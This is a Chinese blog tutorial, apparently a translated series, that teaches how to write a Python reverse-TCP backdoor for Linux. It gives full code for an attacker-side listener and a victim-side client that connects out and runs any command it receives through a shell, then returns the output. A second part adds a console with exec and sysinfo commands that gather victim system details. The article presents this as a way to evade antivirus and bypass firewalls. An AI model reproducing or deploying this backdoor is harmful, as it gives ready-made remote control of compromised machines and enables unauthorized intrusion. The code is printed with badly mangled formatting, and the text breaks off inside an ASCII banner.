如何基于Python写一个TCP反向连接后门

最新推荐文章于 2024-04-27 21:57:18 发布
最新推荐文章于 2024-04-27 21:57:18 发布
阅读量3k 收藏 5
点赞数
文章标签： python socket 安全
原文链接：https://blog.csdn.net/qq_27446553/article/details/78921389?utm_source=blogxgwz8
版权

0x0 介绍

在Linux系统做未授权测试,我们须准备一个安全的渗透环境，通常第一件事就是安装虚拟机。且在攻击阶段中还需要对受害系统进行控制。常见的后门大多数是利用Metasploit生成，而目前反病毒产品遇到Metasploit文件签名的程序就会添加特征库作为查杀对象，所以开发出自己的后门程序非常必要。

这篇文章将介绍如何写一个具有反向连接功能的后门。

反向连接：通常的网络连接程序是由客户端通过服务器开放的端口连接到服务器，反向连接是客户端打开服务器端口，由服务器主动连接客户端。反向连接这种方式常用于绕过防火墙和路由器安全限制。

举个例子，防火墙隔离的计算机会阻止传入的连接，但对于连接Internet服务器的出站连接则不做严格限制。一旦连接建立网络通讯，远程主机就可以向后门发送命令。这种通讯方法更有助于控制受控机器，也更不容易检测。

在本系列教程文章中，将分成3部分撰写，一步步介绍如何用Python语言开发一个反向TCP连接程序。每一个部分都会介绍一个新函数、命令或代码，使其更加灵活。

 

0x1 第一部分：创建反向连接基础

这一部分将介绍创建网络连接，发送和接受输出。

1.1 服务器端编写(控制端)

前面介绍过，攻击者并不会主动连接受控服务器，因为会被受控制服务器的防火墙拦截。
但是我们可以把自身当成服务器，让受控服务器作为客户端反向连接我们，然后向客户端发送命令。客户端与服务端安装套接字实现反向连接的代码如下：

让我们分解以上代码，逐行解释每段代码的作用：

  • 整体思路：声明subprocess模块中的sp函数执行命令
  • 1）监听信息：通过获取命令行参数得到套接字监听的主机IP、端口
  • 2）套接字部分：安装套接字，绑定套接字，监听连接、接收客户端的连接
  • 3）输出连接信息：如果有网络连接信息，就打印出来
  • 4）循环部分：将脚本运行到一个while循环中，以便发送命令并接收输出5）if判断-1： 如果输入的命令不是”exit()”程序继续运行，否则发送给客户端”exit()”,让客户端关闭套接字连接
  • 6）if判断-2：如果输入的命令是空的，我们再次跳过while循环。不执行后面的命令
  • 7）发送、接收命令：如果if判断没有执行退出或者跳过，则负责发送和接收命令
  • 8）处理接收结果：将接收的数据和数据实际大小切割开来存放
  • 9）处理数据：如果接收的数据实际大小跟接收数据的大小不匹配，那就运行一个while循环把剩余的数据拼接起来，直到数据实际大小跟接收数据结果相等
  • 10）打印结果过滤换行符
  • 11）出现异常则关闭套接字

以上代码理解起来并不困难，但是随着代码的复杂度不会再逐行解释，只解释重要的部分。接下来让我们编写客户端的Socket部分。

1.2 客户端代码编写(受控制端)

受害者连接我们的代码不应该太多。

让我们分解以上代码，逐行解释每段代码的作用：

  • 1）通过sys.argv模块的命令行接受Socket套接字信息
  • 2）设置Socket套接字并连接到指定的主机IP、端口。
  • 3）接收服务器发送的命令的部分放在一个循环语句内。
  • 4）如果接收的命令不是exit()，就通过管道执行接收的命令。执行命令后的输出分配给变量sh。
  • 5）（out,err）是标准的stdout和stderr流。
  • 6）将流的输出分配给result变量。
  • 7）将文件大小设置为16字节的long型，用于助服务器端（攻击者）识别文件大小。
  • 8）计算长度并将其附加到输出里。

if-else后的部分：如果收到的命令是exit()，跳出循环和关闭连接。

执行我们的攻击者（服务器）脚本，看看结果如下：

root@Sploit:~/Desktop# python reverseTcp.py '' 8000

客户端连接命令行的主机信息。

root@Sploit:~/Desktop# python connect.py 127.0.0.1 8000

服务器脚本运行的截图：

正如预期，客户机控制台是空的，因为我们没有打印任何东西。预期编写完成后的截图如下：

到此我们已经将基础的反向TCP连接代码编写完成了，现在将继续编写些基础函数来帮助我们把程序界面改善，例如给Shell界面添加颜色。
这份代码在Windows上也可以运行，但Windows平台不是本系列教程的首选平台。

1.3 实践部分

reverseTcp.py


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # -*- coding: utf-8 -*-
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import socket,subprocess as sp,sys                    
       
       # 导入subprocess，socket模块
      
      
    
     
     
  3. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  4. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 1）监听信息
      
      
    
     
     
  5. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       host = sys.argv[1]                                   
       
       # 攻击者地址，通常留空''
      
      
    
     
     
  6. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       port = int(sys.argv[2])                              
       
       # 攻击者主机端口
      
      
    
     
     
  7. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  8. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 2）套接字部分
      
      
    
     
     
  9. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
       
       # 安装套接字
      
      
    
     
     
  10. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s.bind((host,port))                                  
       
       # 绑定套接字
      
      
    
     
     
  11. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s.listen(100)                                        
       
       # 最大连接数:100
      
      
    
     
     
  12. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       conn,addr  = s.accept()                              
       
       # 接收客户端连接
      
      
    
     
     
  13. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  14. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 3）输出连接信息
      
      
    
     
     
  15. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       print 
       
       "[+] Conection Established from: %s" % (str(addr[0]))
      
      
    
     
     
  16. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                                                         
       
       # 打印攻击者的连接信息
      
      
    
     
     
  17. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 4）接收输出
      
      
    
     
     
  18. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       while 1:                                            
       
       # 运行死循环初始化反向的连接
      
      
    
     
     
  19. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       command = raw_input(
       
       "#> ")                      
       
       # 服务器输入
      
      
    
     
     
  20. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       # 5）if判断-1
      
      
    
     
     
  21. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       if 
       
       command != 
       
       "exit()":                         
       
       # 如果命令不是exit()，那就继续执行
      
      
    
     
     
  22. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # 6）if判断-2
      
      
    
     
     
  23. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       if 
       
       command == 
       
       "": 
       
       continue                  
       
       # 命令如果为空，循环这个函数
      
      
    
     
     
  24. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # 7）发送、接收命令
      
      
    
     
     
  25. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               conn.send(
       
       command)                          
       
       # 发送命令到客户端
      
      
    
     
     
  26. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               result = conn.recv(1024)                    
       
       # 接收并输出
      
      
    
     
     
  27. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # 8） 处理接收结果
      
      
    
     
     
  28. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               total_size = long(result[:16])              
       
       # 获取返回数据的大小,取出前16位的值
      
      
    
     
     
  29. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               result = result[16:]                        
       
       # 接收数据的结果，取16位之后的值
      
      
    
     
     
  30. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # 9） 处理数据
      
      
    
     
     
  31. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       while total_size > len(result):             
       
       # 循环函数
      
      
    
     
     
  32. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   data = conn.recv(1024)                  
       
       # 每次接收1024的数据，如果发送的数据大于现在接收的数据
      
      
    
     
     
  33. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   result += data                          
       
       # 循环接收并且拼接起来
      
      
    
     
     
  34. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # 10）打印结果过滤换行符
      
      
    
     
     
  35. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       print result.rstrip(
       
       "n")                   
       
       # 过滤掉换行符
      
      
    
     
     
  36. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       else:
      
      
    
     
     
  37. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               conn.send(
       
       "exit()")                         
       
       # 发送客户端关闭的消息
      
      
    
     
     
  38. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       print 
       
       "[+] shell Going Down"                
       
       # 本地退出提示
      
      
    
     
     
  39. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       break
      
      
    
     
     
  40. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 11）出现任何故障关闭套接字
      
      
    
     
     
  41. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s.close()                                           
       
       # 关闭网络套接字

connect.py


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       #!/usr/bin/python
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       #coding:utf-8
      
      
    
     
     
  3. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  4. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import socket,subprocess 
       
       as sp,sys                    
       
       # 导入subprocess，socket模块
      
      
    
     
     
  5. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  6. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 1）连接信息
      
      
    
     
     
  7. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       host = sys.argv[
       
       1]                                   
       
       # 攻击者地址，通常留空''
      
      
    
     
     
  8. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       port = 
       
       int(sys.argv[
       
       2])                              
       
       # 攻击者主机端口
      
      
    
     
     
  9. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  10. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 2）套接字部分
      
      
    
     
     
  11. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
       
       # 安装套接字
      
      
    
     
     
  12. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       conn.connect((host,port))
      
      
    
     
     
  13. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  14. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       while 
       
       1:
      
      
    
     
     
  15. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           command = str(conn.recv(
       
       1024))
      
      
    
     
     
  16. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  17. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       if command != 
       
       "exit()":
      
      
    
     
     
  18. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               sh = sp.Popen(command,shell=True,
      
      
    
     
     
  19. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                             stdout=sp.PIPE,
      
      
    
     
     
  20. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                             stderr=sp.PIPE,
      
      
    
     
     
  21. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                             stdin=sp.PIPE)
      
      
    
     
     
  22. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  23. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       out,err = sh.communicate()   
       
       # 与进程交互：将数据发送到标准输入。从标准输出和标准错误读取数据，直至到达文件末尾。
      
      
    
     
     
  24. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  25. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               result = str(
       
       out) + str(err)
      
      
    
     
     
  26. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  27. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               length = str(len(result)).zfill(
       
       16)
      
      
    
     
     
  28. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  29. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               conn.send(length + result)
      
      
    
     
     
  30. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       else:
      
      
    
     
     
  31. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       break
      
      
    
     
     
  32. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  33. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  34. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       conn.close()

 

0x2 第二部分：美化Shell界面

在第二部分教程中，我们会把服务器端脚本的Shell界面进行美化。

2.1 服务端代码

Import-导入模块声明

我们导入模块声明的语句如下：


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       #!/usr/bin/env python
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import socket, sys, os
Colors()函数

这个函数将把我们的Shell中的文本替换得更加美观。

这个函数用指定的颜色来修饰传递给它的任何文本。接受的字符和显示颜色说明如下：


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "r" 
       
       or 
       
       "red" - Red
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "g" 
       
       or 
       
       "green" - Green
      
      
    
     
     
  3. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "b" 
       
       or 
       
       "blue" - Blue
      
      
    
     
     
  4. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "y" 
       
       or 
       
       "yellow" - Yellow
      
      
    
     
     
  5. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "lgray" - Light Gray
      
      
    
     
     
  6. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "underline" - Underline Text
      
      
    
     
     
  7. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       "strike" - Strikes Text
Banner()函数

这些介绍的基础函数不是必需要写的代码，但是改善了用户使用的体验感，具体的美化效果可以自己定制。

编辑：我把“lgray”改成了“gray”。 我们可以根据个人喜好更改。

这个函数的具体作用是将程序说明文本的内容返回给调用者。

Main_control()函数

Main_control()函数的作用是接收服务器Socket套接字。在前面的文章中我们没有使用调用函数的方式编写代码，而是采用了过程化的代码。现在这些过程化代码被封装到Main_control()函数中，方便后续的修改。代码如下图所示：

看到这一坨代码请不要惊慌，我们只需要关注代码带来的脑力挑战即可。让我们分解一下代码开始解读吧？：

  • 1）我们接受Socket套接字信息后将其传递给相应的变量host、port变量
  • 2）如果异常没有捕获到任何错误，则借助script_color()函数打印出”Framework Started
    Successfully”
  • 3）调用banner()函数，打印函数里的文本到界面上
  • 4）设置Socket套接字，绑定和监听
  • 5）开头已经将主机作为空字符串参数传递。所以我们在设置套接字后，如果参数为空就将主机字符串默认设为“localhost”
  • 6）打印出”Listening on host address:port number …”
  • 7）等待接收Socket套接字信息连接，捕获到错误输入则打印错误中断提示
  • 8）如果客户端顺利连接，就会将Socket套接字数据和主机地址作为参数传递进入console()控制台函数
  • 9）当console()函数执行完毕后，关闭创建的Socket套接字
Console()控制台函数

这部分代码很容易令人灰心！只有坚持看下去才能渡过难关。console()控制台函数的代码如下：

以上的代码非常长，首先我们打印一个字符串表示从远程主机建立连接。然后我们从数据流中接收数据。数据流中包含有关于远程系统的信息（我们会在Client(客户端)执行）。以下是数据显示的布局内容：


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       系统类型
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  3. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       计算机名称（节点名称）
      
      
    
     
     
  4. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  5. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       发行版本
      
      
    
     
     
  6. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  7. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       系统版本
      
      
    
     
     
  8. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  9. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       机器架构
      
      
    
     
     
  10. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  11. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       用户名

所有信息都是来自OS模块的uname()和getlogin()函数（我们在Client(客户端)执行的代码）。

使用收到的信息为Shell创建自定义提示名称，例如：root@127.0.0.1。

然后我们进入while循环，该循环包含连接的命令。由于我们重新自定义了程序命令，因此原装操作系统命令类似于“ls -l”和其他linux命令将无法正常使用。

下面是我们的前5条内置命令。

  1. exec——接收一个命令作为参数，并在远程主机上执行该命令。这是我们调用Linux命令的地方，例如：exec ls -l
  2. cls – 清除终端显示的信息，使用默认的linux clear命令
  3. help – 调用help函数打印帮助文本
  4. sysinfo – 打印出收到的远程系统信息
  5. exit() – 向远程shell发送一个停止命令，在本地退出控制界面。
  6. 任何非指定的命令都不会被接受，并且会在else语句中打印一条错误消息。

在内置的exec命令中，不会有任何的参数被传递并且会输出一个错误消息。我们在exec命令中有一个新的函数send_data。它接受连接流和要执行的命令。负责自动处理数据的发送和接收。

这段代码读者最好可以自己动手写一遍，这样就可以在代码运行后进行修改。如果在写作过程中进行修改的话，可能会导致很多问题。

help()帮助函数

所有内置在这个框架(脚本)中的命令都将在这里说明。

这个函数会按照顺序打印一个help_list字典，并对字符进行美化处理后循环输出来。

Send_data()发送数据的函数

该函数计算数据的长度后将其与数据一起发送。

现在我们把调用函数组合放在一起。

我们必须调用函数，否则它自己是不会执行的。

至此我们完成了部分代码，现在让我们将客户机脚本也进行相应的修改。

2.2 客户端代码

客户端也需要遵守一些规则和命令，比如服务器脚本中的exec命令。我们的import声明应该改成:


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       #!/usr/bin/env python
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import socket, subprocess 
       
       as sp, sys, os

我们首先建立的函数是connect()连接函数。

Connect()函数

该函数跟名称含义一样，作用为跟指定的地址连接建立后发送自身系统信息，接收控制端的远程命令。

然后以连接流作为参数调用interactive_session()交互式会话函数。

interactive_session()交互式会话函数

该函数运行一个循环根据“if”语句接受和执行命令。

该函数使用另一个send_data()发送数据函数来发送数据。

Send_data()数据发送函数

该函数将计算数据执行后结果的总长度，将执行后的结果转换为字符串，填充为16位。将这个总长度跟执行后的结果数据一起发送出去。

为了便于将来的修改和添加功能，我们把所有的函数代码组合在一起,放到connect()函数里。

当然，在主函数里我们必须调用connect()函数，否则函数自己是不会自动执行的。

让我们执行服务器控制端的脚本，监听一个8000端口，看看得到了什么结果。

root@Sploit:~/Desktop# python reverseTcp.py '' 8000

执行受控制客户端在命令行上连接控制端主机，输出命令的方式如下。

root@Sploit:~/Desktop# python connect.py 127.0.0.1 8000

以下是攻击者服务器脚本的运行截图：

帮助选项如下：

通过NMap扫描远程系统得到的结果，受控制客户端已经打开了服务端口，正如预期的那样，客户端控制台显示出来的信息应该是空的，因为我们没有打印任何东西到终端界面上。

2.3 实践部分

reverse_tcp_part2.py


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # -*- coding: utf-8 -*-
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import socket,subprocess 
       
       as sp
      
      
    
     
     
  3. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import sys
      
      
    
     
     
  4. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import os
      
      
    
     
     
  5. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import platform
      
      
    
     
     
  6. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  7. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 颜色美化函数
      
      
    
     
     
  8. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def script_colors(color_type,text):
      
      
    
     
     
  9. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           color_end = 
       
       '33[0m'
      
      
    
     
     
  10. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  11. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       if color_type.lower() == 
       
       "r" 
       
       or color_type.lower() == 
       
       "red":
      
      
    
     
     
  12. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               red = 
       
       '33[91m'
      
      
    
     
     
  13. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = red + text + color_end
      
      
    
     
     
  14. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "lgray":
      
      
    
     
     
  15. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               gray = 
       
       '33[2m'
      
      
    
     
     
  16. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = gray + text + color_end
      
      
    
     
     
  17. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "gray":
      
      
    
     
     
  18. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               gray = 
       
       '33[90m'
      
      
    
     
     
  19. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = gray + text + color_end
      
      
    
     
     
  20. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "strike":
      
      
    
     
     
  21. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               strike = 
       
       '33[9m'
      
      
    
     
     
  22. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = strike + text + color_end
      
      
    
     
     
  23. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "underline":
      
      
    
     
     
  24. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               underline = 
       
       '33[4m'
      
      
    
     
     
  25. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = underline + text + color_end
      
      
    
     
     
  26. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "b" 
       
       or color_type.lower() == 
       
       "blue":
      
      
    
     
     
  27. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               blue = 
       
       '33[94m'
      
      
    
     
     
  28. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = blue + text + color_end
      
      
    
     
     
  29. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "g" 
       
       or color_type.lower() == 
       
       "gree":
      
      
    
     
     
  30. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               gree = 
       
       '33[92m'
      
      
    
     
     
  31. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = gree + text + color_end
      
      
    
     
     
  32. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif color_type.lower() == 
       
       "y" 
       
       or color_type.lower() == 
       
       "yellow":
      
      
    
     
     
  33. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               yellow = 
       
       '33[93m'
      
      
    
     
     
  34. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               text = yellow + text + color_end
      
      
    
     
     
  35. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       else:
      
      
    
     
     
  36. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       return text
      
      
    
     
     
  37. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       return text
      
      
    
     
     
  38. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  39. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 横幅函数
      
      
    
     
     
  40. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def banner():
      
      
    
     
     
  41. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           banner = 
       
       '''
      
      
    
     
     
  42. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       sszhhzDDhzszhzzhhzssss====ss=+===+====ss=szzzzzzzDDDDhDhzzsD
      
      
    
     
     
  43. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s+zhhzhhzzsshhzhzhhsss====ss==sss====szszzhhhzzzzhzDDDDDzssD
      
      
    
     
     
  44. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       =+zzhhhhzzhzhhhhzzzssssszsszz=szss====ssszhhhhhhzszDhDDhz==h
      
      
    
     
     
  45. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       =+zzhhhzzhhhzzhhzssss+szsssss=sss=s+=s=sszzzhhhDhzhhhhhhs+=h
      
      
    
     
     
  46. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       z+shzzzzzhzhhhzhsssss+=sszs=s=sssss=====szszhhzzhhsshhhhs(=h
      
      
    
     
     
  47. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s<=hhzzzhsszhhzsshhzs=+szzsss===ssss==+=szzszzzzzzhzhDhh=<hh
      
      
    
     
     
  48. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       =<=hhzzzzszzss=szhhszs=+shssss==ssss=+<szzzszzhzszzzhDDh+=hh
      
      
    
     
     
  49. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       +=shDshzzssz=sszzs=szz=+=zs=+s==s======zzzzzhzzhzsszshBh=<sh
      
      
    
     
     
  50. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       <==szsszzsssszsss+++zz=++sz==s=====+=+=zssshzzzzszszszDh=<+h
      
      
    
     
     
  51. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       (((<=s=sssssssss=+===s=<+=ssssss=s==++=ss+==ss=sszsss=+++<<z
      
      
    
     
     
  52. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ((<+=sssssss=++=+<+++s+<====ssszs=s=+<=s==+++=sszz====<((((+
      
      
    
     
     
  53. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       <<<+++=s=s===+++++++ss+++====sss====++zs=<++++=sss====+((<((
      
      
    
     
     
  54. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       +((<<=s=+==s=s=+=(<=sh++==s==ss=====++sz=++==+<=ss=+<<<((((<
      
      
    
     
     
  55. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       <((<+++=====++++++++szs=+=s=s=s=====+=zs++++=+<<=====<<((((<
      
      
    
     
     
  56. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       (<+<<+=+=s=+<=szszs=sss=======s======sz=+=+=s+<<<==+++<((~~(
      
      
    
     
     
  57. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       <++<<+++=ssszDDhDBBDzsssss====+=+==ssss=zDDDDhs<<==+<<((((~(
      
      
    
     
     
  58. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ++<<<<<+=szshhsshz=hDs==ss==+=<<+=ss=+=hBDsshBD=<+++<(~((<((
      
      
    
     
     
  59. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       =<++<+++=zs+hs+zDs--hh=+===+=+<<+=s=++hDh<.-=sh=+++<<(((~(<(
      
      
    
     
     
  60. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       +<=+=====+<<z=<hDhz=sDs<<+=++<(<++=<(zszh=~s+<s+<===<<((((((
      
      
    
     
     
  61. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ++=+++<<(<(<z=<hBBNh=hD+<+=<<<(<<+<(+z+sDDDD<<z=~(+=+<(<(~((
      
      
    
     
     
  62. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       +===+<<<<<<<ss<=hBD++hB<(<<<<<((<<~-sh<=BNNz<<z+~(<<<((<((((
      
      
    
     
     
  63. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ==ss=++=+<<<=z+(+=+<=BB<(<<<<<(<(<~-zB<(=Dh+(sz(~~<<<((+<(((
      
      
    
     
     
  64. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ==ss=====+++<=z=+<+sDBB<~<<(<<((((-~zNz((+<(=h+~((<<<<(<<(<<
      
      
    
     
     
  65. 
     
     
